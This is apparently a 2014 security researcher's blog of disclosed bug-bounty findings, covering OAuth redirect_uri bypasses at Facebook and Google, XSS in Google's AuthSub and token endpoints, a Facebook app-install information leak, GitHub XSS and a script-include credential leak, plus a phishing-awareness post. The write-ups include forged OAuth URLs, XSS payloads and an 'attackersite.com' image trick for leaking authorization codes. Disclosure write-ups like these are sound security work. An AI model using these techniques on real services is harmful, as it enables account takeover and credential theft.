Friday, 5 December 2014

Cross Site Request Forgery in Github

As usually I always try to blog about my "security finding".
The main reasons are basically two:

  • I think is really good to share knowledge in this area. 
  • Sometimes I do use my blog posts as a place to store information that I can always access in the future.
Unluckily though I am a really lazy blogger and sometimes I just do not blog :S
The really good news is that the last vulnerability I found is in github.
I already blogged about how good and responsive is the Github security team. And I am now even more impressed by their efficency.
The reason why this is a really good news is that in this case I can do both : 1) find a vulnerability 2) being lazy and not trying to describe the vulnerability I found, this because the github team is already describing the vulnerability in their wall of fame :)
Hurray.

Friday, 3 October 2014

Beware what you click

Usually my (not too many :( ) posts are written for a technical audience (not too big :( ). This time, given the fact October is Cyber Security Month I will try to put some effort to try to explain how you can keep yourself away from annoyances. Well the rule of thumb is actually extremely simple and can be resumed with a simple sentence:

 Beware what you click

Let me repeate it: "beware what you click" :)
Just following this simple rule you can avoid 90% of scam/viruses and phishing attacks.
But lets do a step back. Assuming you know already what is a computer's virus let me explain what is a phishing attack. Phishing scam uses legitimate-looking websites to trick a victim into sharing their username, password or other  sensitive information. Pishers will design their sites to look exactly like e.g. the website of your mail provider, your bank, credit card issuer, or another financial institution. The hope is that you won't realize you are on the wrong site, and just punch your password like you normally would. Then, they use it to log into your accounts and e.g. transfer out your money.
So here some advice for you:
  • Look carefully at a website before giving any information (specially sensitive data)
  • Especially look out for slightly misspelled words
  • If something looks even a little fishy, delete the mail and close the site ASAP
  • Create bookmarks in your browser for commonly used sites (e.g. mail, bank, etc)
  • But overall

     Beware what you click

     
Non GEEK can STOP here :) Now let me show some example of phishing based on an open redirect I found on Google-Github OAuth integration :) This is a variant of the 'Lassie Come Home' OAuth attack I previously talked about.  In https://console.developers.google.com/project is possible to connect a project with Github. So far so good :) The problem is that the Google's OAuth client id registered in github (namely fde1c8c8834c1b0adcc8) has a registered redirect_uri that is too open (namely https://console.developers.google.com/). This is because the same OAuth client id is used for every Google project to connect with github. For example project APPS_A when connects to Github will end up having this request to the github authorization endpoint:

https://github.com/login/
oauth/authorize?client_id=fde1c8c8834c1b0adcc8&redirect_uri=https://console.developers.google.com/project/APPS_A&response_type=code&scope=repo&state=STATE

and APPS_B will have

https://github.com/login/oauth/authorize?client_id=fde1c8c8834c1b0adcc8&redirect_uri=https://console.developers.google.com/project/APPS_B&response_type=code&scope=repo&state=STATE

Note that the same client_id is used in both requests. This is possible because as said above the registered redirect uri is https://console.developers.google.com. Github validates only the start of the URI (as clearly stated here) and considers valid redirect uri if everything else is appended after the registered redirect uri. In our example the registered redirect uri is https://console.developers.google.com/ so github will consider valid https://console.developers.google.com/WHATEVER so in our case https://console.developers.google.com/project/APPS_A and https://console.developers.google.com/project/APPS_B are both valid and Google leverages happily this features :) Another thing to notice is that in Github once you authorize the application once the consent screen is not shown anymore namely the redirect will happen *without* human interaction.

So what an attacker needs to do is to upload an html file in the Google Cloud Storage Bucket and apply some open permission in order to be read by anyone (or by at least by the victim).
The html file will have a fixed uri of https://console.developers.google.com/m/cloudstorage/b/augmented-tract-3923rewrew233.appspot.com/o/aa/test.html. Notice that this is a valid redirect URI for fde1c8c8834c1b0adcc8 since it start with https://console.developers.google.com

So now  is possible to forge the initial OAuth call like this:

https://github.com/login/oauth/authorize?client_id=fde1c8c8834c1b0adcc8&redirect_uri=https://console.developers.google.com/m/cloudstorage/b/augmented-tract-3923rewrew233.appspot.com/o/aa/test.html&response_type=code&scope=repo&state=NtMfd5ccxz-a6GtwuqcQiv1L9Uc this will redirect to https://console.developers.google.com/m/cloudstorage/b/augmented-tract-3923rewrew233.appspot.com/o/aa/test.html?code=ccd04786b8113318c3d7&state=NtMfd5ccxz-a6GtwuqcQiv1L9Uc

Mind that test.html is controlled by the attacker.


To recap the attack looks like this:
  • the attacker forge an url like https://github.com/login/oauth/authorize?client_id=fde1c8c8834c1b0adcc8&redirect_uri=https://console.developers.google.com/m/cloudstorage/b/augmented-tract-3923rewrew233.appspot.com/o/aa/test.html&response_type=code&scope=repo&state=NtMfd5ccxz-a6GtwuqcQiv1L9U
  • the victim clicks the link
  • this will redirect to https://console.developers.google.com/m/cloudstorage/b/augmented-tract-3923rewrew233.appspot.com/o/aa/test.html?code=ccd04786b8113318c3d7&state=NtMfd5ccxz-a6GtwuqcQiv1L9Uc-
This is how a successfully phishing attack can be conducted (if the victim trusts Github or Google would be even simpler since the URL used in the attack are "familiar" domains for the victim).

As a consequence Google decided to tighten the redirect_uri in github (now is https://console.developers.google.com/project)

Final note, (unlikely for me) but good for Google:
otherwise I could as well steal the Authorization Code!!

Monday, 22 September 2014

Bounty leftover Part #2 (target Google)

In my previous blog post I mentioned a following post about some vulnerability I found in https://accounts.google.com/.
As said, motivated from my little success that I got finding a vulnerability in some obsolete authorization service in Facebook I thought I might have the same luck with Google :)
Well it turned out this was the case...
Giving a look at the Older Protocols in the Google Accounts Authentication and Authorization page something that immediately caught my attention was the AuthSub (deprecated) flow.
Now, I am not going to describe here the flow, it is enough saying that it is a pre-OAuth flow that Google used to give some access delegation using some sort of tokens...
The problem was related with the scope parameter in www.google.com/accounts/AuthSubRequest. It accepted concatenation of string after a valid scope. 
E.g. 

https://accounts.google.com/AuthSubRequest?next=http%3A%2F%2Flocalhost%3A8080%2Fa&scope=http%3A%2F%2Fwww.google.com%2Fcalendar%2Ffeeds%2F/%3Cscript%3Ealert%28%27hello%27%29%3C/script%3E&session=1&secure=0&hd=default

So far so good.
The next natural step would have been to use the https://developers.google.com/accounts/docs/AuthSub#AuthSubTokenInfo to get the scope back with the given stored javascript.
At a first sigh this looked like unexploitable since as per doc this would require a request header, namely 

curl -H "Authorization:AuthSub token="1/XD7eCi3_
2mXSfDHXLtImg0Oc1nDoZCFKL4dLrqzVYVk"" -H "application/x-www-form-urlencoded" https://www.google.com/accounts/AuthSubTokenInfo

The reality though was that it existed also another version of the service that accepts request parameter (and the cherry on top was that this service also runs in https://accounts.google.com that is the most rewarded according to https://www.google.ch/about/appsecurity/reward-program/).

So

curl -v https://accounts.google.com/accounts/AuthSubTokenInfo?oauth_token=1/BWAFgricOqhNMPTcHsPy0MRlKbMWE-HNMjlLtT0NNPA

> User-Agent: curl/7.30.0

> Host: www.google.com

> Accept: */*

>

< HTTP/1.1 200 OK

< Content-Type: text/plain; charset=UTF-8

< X-Frame-Options: DENY

< Date: Thu, 07 Aug 2014 20:10:51 GMT

< Expires: Thu, 07 Aug 2014 20:10:51 GMT

< Cache-Control: private, max-age=0

< X-Content-Type-Options: nosniff

< X-XSS-Protection: 1; mode=block

< Content-Length: 106

< * Server GSE is not blacklisted

< Server: GSE

< Alternate-Protocol: 443:quic

<

Target=localhost

Secure=false

Scope=http://www.google.com/calendar/feeds//<script>alert('hello')</script>


Some observations:

  • the scope is not sanitized (so he can lead to a XSS ) but
  • no sniff is present
  • Content Type is text/plain
To conclude this is the attack scenario


Once reported Google fixed it pretty soon and also got a reward for it... Not bad for a left over :p

Thanks Google security.

Friday, 5 September 2014

Bounty leftover Part #1

One of the most important thing of anyone keen about security is to keep up to date with what is going on...
Hence I have a good collection of rss feed security's related.
One post that caught my attention a couple of months ago was this one from Stephen Sclafani. In a nutshell he was able to get a more than decent bounty of 20000$ exploiting some old Facebook API that is the precursor of Facebook's OAuth implementation.
Since I am a curious person I decided to give a look at these old APIs just to see the evolution of security over time. I was not hoping to find anything interesting under the bounty point of view since Stephen had found them all (he even did a second blog post collecting another 20000$!!).
Well, indeed I was right until some extent. I haven't found anything interesting under the security point of view (strictly speaking) nevertheless I was able to find a minor security issue (Information disclosure) that got rewarded by Facebook with a bounty... :)
Indeed http://api.facebook.com/restserver.php leaked some information about if a specific user has some application (https://developers.facebook.com/apps) installed or not.
Let's assume for example I would like to know if Mark Zuckerberg has some application installed or not. All I needed to know is the user id of Mark Zuckerberg and the app id.
Both those information are easily to get and kind of public.
The user id of Mark Zuckerberg is 4.
Now let's try to test if he has on of my application installed (Of course I would not have :)). The app id of my application is 213814055461514.
This information was easily reachable using the endpoint http://api.facebook.com/restserver.php.
To make a call an application makes a GET or POST request to the REST API endpoint:

POST https://api.facebook.com/restserver.php

method={METHOD}&api_key={API_KEY}&session_key={SESSION_KEY}&...&sig={SIGNATURE}

Now for our scenario we can ignore the parameter sig and focus on the session_key.
This is indeed (also, probably for backward compatibility) on the form -USER_ID

So If I tried to do

https://api.facebook.com/restserver.php?api_key=213814055461514&session_key=RANDOMDATA-4&method=bookmarks.get

I got back

<error_response xsi:schemaLocation="http://api.facebook.com/1.0/ http://api.facebook.com/1.0/facebook.xsd"><error_code>102</error_code><error_msg>The user has not authorized application 213814055461514.</error_msg><request_args list="true"><arg><key>api_key</key><value>213814055461514</value></arg><arg><key>session_key</key><value>RANDOMDATA-4</value></arg><arg><key>method</key><value>bookmarks.get</value></arg></request_args></error_response>


This of course proof the fact Mark Zuckenberg doesn't have this installed.
Let's see if I do have this installed (of course I do :)). My user id is 631367016.

So https://api.facebook.com/restserver.php?api_key=213814055461514&session_key=RANDOMDATA-631367016&method=bookmarks.get

result was

<error_response xsi:schemaLocation="http://api.facebook.com/1.0/ http://api.facebook.com/1.0/facebook.xsd"><error_code>102</error_code><error_msg>The session has been invalidated because the user has changed the password.</error_msg><request_args list="true"><arg><key>api_key</key><value>213814055461514</value></arg><arg><key>session_key</key><value>RANDOMDATA-631367016</value></arg><arg><key>method</key><value>bookmarks.get</value></arg></request_args></error_response>

So this tells me I have this application installed.
This worked for any user_Id / app_id combination.
Now as Egor Homakov showed sometime ago (using a different technique based on using Content-Security-Policy for evil) using 100-500 most popular Facebook clients we can build sort of user's fingerprint: what apps you authorize and what websites you frequently visit.As mentioned Facebook rewarded me for this and I am once more in the Facebook white hat page
Given the success of this I have decided to give a look to the way Google used to authorize applications on a pre-OAuth world and guess what ? :) I found an issue also there and Google also rewarded me. But I am afraid (since Google did not completely fix the issue) you have to wait for my next post Bounty leftover Part #2 :)

Thursday, 14 August 2014

Are your github's data safe?

Sure they are, if you do not user Firefox (even the last  version) or if you do not use iOs 6.1 or some older version of IE they are really safe :)
In the last few days I got the pleasure to be in touch with the github security guys.
I must admit I am really impressed about how security is important for Github and how much serious they take it (they embrace and leverage all the new security features supported by modern browsers, Content Security Policy included ).
Moreover they are really fast on reply and really friendly so kudos to them.
From the other hand I was a bit surprised on how the "handled" a couple of issues I did report.
Now the fact I did not get a bounty doesn't play any role on my opinion (apparently both issues I reported were well known by them).
The thing that does surprise me instead is the fact that even that those are well known issues are not yet fixed (if ever).
But no more words just fact...

The first issue I reported is the following.

The .patch selector in github.com is vulnerable to XSS indeed if a patch contains javascript this is not correctly sanitized. Live example in here.

Now I do appreciate that

a) nosniff is present
b) the content type is text/plain

but older browsers do ignore those and execute the javascript. One example is Safari for iPhone (that is actually not too old) and obviously older version of IE.
Now we are really talking about stealing cookies on a really sensitive domain right ? (always IMHO) :)
But apparently this is not enough and that output will continue to be not sanatized.

So this brings us to issue #2

Step to reproduce
- Create a new public repo e.g. (https://github.com/asanso/test)
- add a configuration config.txt file and put username and password
user="foobar"
password="supersecret"
- commit and push
- verify anybody can see https://github.com/asanso/test/blob/master/config.txt
- verify anybody can see https://raw.githubusercontent.com/asanso/test/master/config.txt
- change the permission of https://github.com/asanso/test to private
- verify nobody apart asanso can see https://github.com/asanso/test/blob/master/config.txt
-  verify nobody apart asanso can see https://raw.githubusercontent.com/asanso/test/master/config.txt

Create html and make the victim asanso visit the page

<script src="https://github.com/asanso/test/raw/master/config.txt">
<script>alert(user+'\n'+password)


This extrafiliates the credentials to an attacker... 

Now, true, this will work only in Firefox since doesn't have any support for nosniff .
But isn't Firefox still one of the most used browser or am I missing something :) ?
Moreover Firefox will probably fix this issue sooner or later but what until then ?
Said that,  I just (without any irony) want to reiterate : "Great stuff Github security" (they are seriously good!!)


 

Tuesday, 8 April 2014

OAuth 2 - How I have hacked Facebook again (..and would have stolen a valid access token)

Well well well, hacking time again :) No much time for big explanation but few weeks ago I was using a little variant of Lassie come home to potentially steal a valid Facebook's access token. In a nutshell reading a blog post of how the great Egor Homakov did hack Github  (see Bug 1. Bypass of redirect_uri validation with /../ ) I though how about Facebook :) ?.

Well here is what I found, I have copied a part of my report to Facebook security :

The redirect_uri in the https://graph.facebook.com/oauth/authorize is not validated correctly. I can bypass the redirect_uri validation with /.\.\../. This might result on stealing the authorization code of a Facebook registered OAuth Client. As an example I would use Parse.com (that is owned by Facebook). In https://parse.com/account there is the chance to link an account with Facebook.
Now the correct request is:

https://www.facebook.com/dialog/oauth?response_type=code&client_id=506576959379594&redirect_uri=https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback&state=420c2f177072bc328309aab640fa0e9141b0f7de2c1f7d81&scope=email

but changing the request to:

https://www.facebook.com/dialog/oauth?response_type=code&client_id=506576959379594&redirect_uri=https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback%2F.\.\../.\.\../asanso&state=420c2f177072bc328309aab640fa0e9141b0f7de2c1f7d81&scope=email

(please note the redirect_uri changed to 

https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback/.\.\../.\.\../asanso)

will end up to be redirected to

https://parse.com/auth/asanso?code=CODE#_=_

The redirect_uri should instead not being accepted.
In order to see how this can be exploited in general let's assume that https://gist.github.com/ would also be a Facebook OAuth client with a registered redirect_uri of https://gist.github.com/auth/facebook/callback

I would then change the request from

https://graph.facebook.com/oauth/authorize?client_id=213814055461514&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Ffacebook%2Fcallback&response_type=code

to

https://graph.facebook.com/oauth/authorize?client_id=213814055461514&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Ffacebook%2Fcallback%2F.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8&response_type=code

(please note the redirect_uri=https://gist.github.com/auth/facebook/callback/.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8)

Now gist offers some limited html capability but i can use a cross domain resource, like <img>. In the img I can place <img src="http://attackersite.com/"> or <img src="///attackersite.com">

When the user loads this URL, Github 302-redirects him automatically.

Location: https://gist.github.com/auth/facebook/callback/.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8?code=CODE

But the user agent loads https://gist.github.com/asanso/a2f05bb7e38ba6af88f8?code=CODE

As soon as we get victim's CODE we can hit https://gist.github.com/auth/facebook/callback?code=CODE and yes :), we are logged into the victim's account and we have access to private gists.

I used an hypothesis of gist being an OAuth client but this would work with any OAuth client that will have the same situation than gist

The answer from Facebook was pretty quick (same for the fix):

Hi,

We have looked into this issue and believe that the vulnerability has been patched. Please re-test the issue and follow up with us if you believe that the patch does not fully resolve the issue.

Security
Facebook

PS: Nice find! :)
 And yep I also got a bounty :)

Tuesday, 1 April 2014

OAuth 2 server to server and Apache Oltu

Leaving apart some FUDs I think that RFC 6749 (aka The OAuth 2.0 Authorization Framework) has proven to be a really great  "tool" so far. One of the limitation of this spec though is that the 2 main flows Authorization Code Grant and Implicit Grant work reasonably well if there is some sort of human interaction and the user agent is available. What if one or both of these requirement are missing? One easy alternative would be to use the Resource Owner Password Credentials Grant flow. This would require the OAuth client to know the Resource Owner password. That is exactly why OAuth has been designed namely to avoid such situation. Another, more tempting, alternative would be to use a refresh token (that never expires). The best choice though IMHO is to use "tools" from another specification from the becoming-big OAuth specification family :)
The specification I am referring to is  the
JSON Web Token (JWT) Profile for OAuth 2.0 Client Authentication and Authorization Grants specification that "inhertis" from  Assertion Framework for OAuth 2.0 Client Authentication and Authorization Grants. This specifications makes and extensions usage of the concepts contained in the JWT and JWS protocols and it offers a great solution for solving an OAuth server to server scenario. In the real world there are already some big companies already providing support for this e.g. Google and SalesForce. If at this stage you feel a bit dizzy, fret not, you are not the only one :).
If you are still with me, I am going to show a really easy way to implement this protocol in Java using Apache Oltu. Apache Oltu lately (in version 1.0) introduced support for JWT and JWS. I will take as an example the Google implementation . Notes for the readers 1) I am not going to explain the JSON Web Token (JWT) Profile for OAuth 2.0 Client Authentication and Authorization Grants specification here, 2) I assume that you have already generated yout Google service-account credentials. In here I am  going to show an alternative way of Creating a JWT without using the Google API (sing Apache Oltu indeed). The Apache Oltu's way (differently than the Google API) will work with any OAuth Provider that supports OAuth server to server. Enough words for today, here is the code snippet:

 KeyStore keyStore = KeyStore.getInstance("PKCS12");  
       keyStore.load(new FileInputStream(P12_FILE), "notasecret".toCharArray());  
       java.security.PrivateKey privateKey = (java.security.PrivateKey) keyStore.getKey("privatekey", "notasecret".toCharArray());  
       PrivateKey pk = new PrivateKey(privateKey);  
       JWT jwt = new JWT.Builder()  
       .setClaimsSetIssuer("788732372078-pas6c4tqtudpoco2f4au18e00suedjtb@developer.gserviceaccount.com")  
       .setClaimsSetCustomField("scope", " https://www.googleapis.com/auth/plus.login")  
       .setClaimsSetAudience("https://accounts.google.com/o/oauth2/token")  
       .setClaimsSetIssuedAt(System.currentTimeMillis() / 1000)  
       .setClaimsSetExpirationTime(System.currentTimeMillis() / 1000 +3600)  
       .build();  
       String payload = new JWTClaimsSetWriter().write(jwt.getClaimsSet());  
       JWS jws = new JWS.Builder()  
       .setType("JWT")  
       .setAlgorithm(JwsConstants.RS256)      
       .setPayload(payload).sign(new SignatureMethodRSAImpl(JwsConstants.RS256), pk).build();  
       System.out.println("your assertion is "+new JWSWriter().write(jws));
now in order to get the access token using the above assertion just do:
 curl -d 'grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=ASSERTION' https://accounts.google.com/o/oauth2/token  
have fun!

Monday, 10 February 2014

OAuth 2 attacks and bug bounties - The Postman Always Rings Twice

Trying to continue the OAuth2 attacks saga started few months ago I am going to introduce a new kind of 'attack' named (by me, continuing the movie's name old tradition :D) 'The Postman Always Rings Twice'.
I hope the reason of this name will be clear soon.
In a nutshell the section 4.1.3 of the OAuth 2 core specification aka RFC 6749 says:

The client MUST NOT use the authorization code  more than once.  If an authorization code is used more than once, the authorization server MUST deny the request and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.

Now this is a really simple claim, but it turned out that two major providers as Facebook and Google violated it, until I did report the 'violation'.
For this Facebook decided to reward me with a bug bounty (a while ago) and Google (only) with an honorable mention :(.

Now you might wonder what is so dangerous on violating section 4.1.3 of the spec? Hopefully this thread in the OAuth ietf mailing list will convince you that this can actually be 'dangerous' .

End of story ? Almost, there is some odds and ends :)
Indeed, when Google tried to 'fix' their implementation (after my report) introducing section 4.1.3 I have noticed an interesting behavior of their token endpoint and as turned out I could exploit it.

Indeed while not accepting the authorization code twice the were a bit too verbose on the error message  :).
This alone would not be enough to actually exploit it but the token endpoint of Google has an "interesting" behavior. 
Indeed the authorization code is on the form TOKEN1.TOKEN2  and only TOKEN1 is validated!!!

Now the attack would look like this:
  • register a client id
  • obtain an authorization token in the authorization endpoint (https://accounts.google.com/o/oauth2/auth) e.g. 4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI
  • now change the authorization code from 4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI to 4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> and ask for an access token
  • As said this is going to be a valid authorization code and the access token is received due the fact that the authorization code is of the form TOKEN1.TOKEN2  and only TOKEN1 is validated!!!!!
  • So now we have everything to perform the attack :)
  • Indeed re-request the access token using the same forged authorization code (namely 4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script>). The authorization code is no longer accepted since the authorization code can be used only once. The interesting part of all this is how the token endpoint answers to this no longer valid authorization code. Indeed the error response looked like this:  
Token Record:
    Token: "4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')<
/script>"
    IssueDomain: "788732372078.apps.googleusercontent.com"
    IssueTimeSec: 1389284562
    ExpirationTime: 1389285162
    TokenUsage: 3
    Scope: "https://www.googleapis.com/auth/plus.login"
    Scope: "https://www.googleapis.com/auth/plus.moments.write"
    Scope: "https://www.googleapis.com/auth/plus.me"
    Scope: "https://www.googleapis.com/auth/plus.profile.agerange.read"
    Scope: "https://www.googleapis.com/auth/plus.profile.language.read"
    Scope: "https://www.googleapis.com/auth/plus.circles.members.read"
    ServiceInfo {
    ServiceId: 226
    Info <
    [security_lso_auth_oauth2.OpenIdConnectRequestProto] <
    is_openid_connect_request: true
    >
    >
    }
    ServiceInfo {
    ServiceId: 226
    Info <
    [security_lso_auth_oauth2.EarlyIssuedTokenProto] <
    auto_approved: true
    access_token: "ya29.1.AADtN_UR3dYRzzCwYHP7uun3WsEWIN8u8JEJ1uHtrIqvJ8HpQFNH3LRL3Vg7Vlvr_uLgk4c9s8xZ"
    >
    >
    }
    Revoked: true
    AuthorizedBy: 0x93e5e8368c
    OAuthCallbackUrl: "http://localhost:8080/redirect"
    OfflineAccess: false
    ClientManagedRevocation: false


    ] 


as you can see the output is not sanitized specifically the part 4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> is bounced back without any ouptut sanitization.

This time (finally) Google actually rewarded  me with a bounty :)

Nice catch! I’ve filed a bug asking that HTML special characters be escaped in the JOSN output. I filed this at moderate severity as I don't believe this is exploitable on recent browsers. The response is returned with content type set to application/json and the header X-Content-Type-Options: nosniff is present, which should prevent the browser from interpreting the result as HTML.

Hurray!

Antonio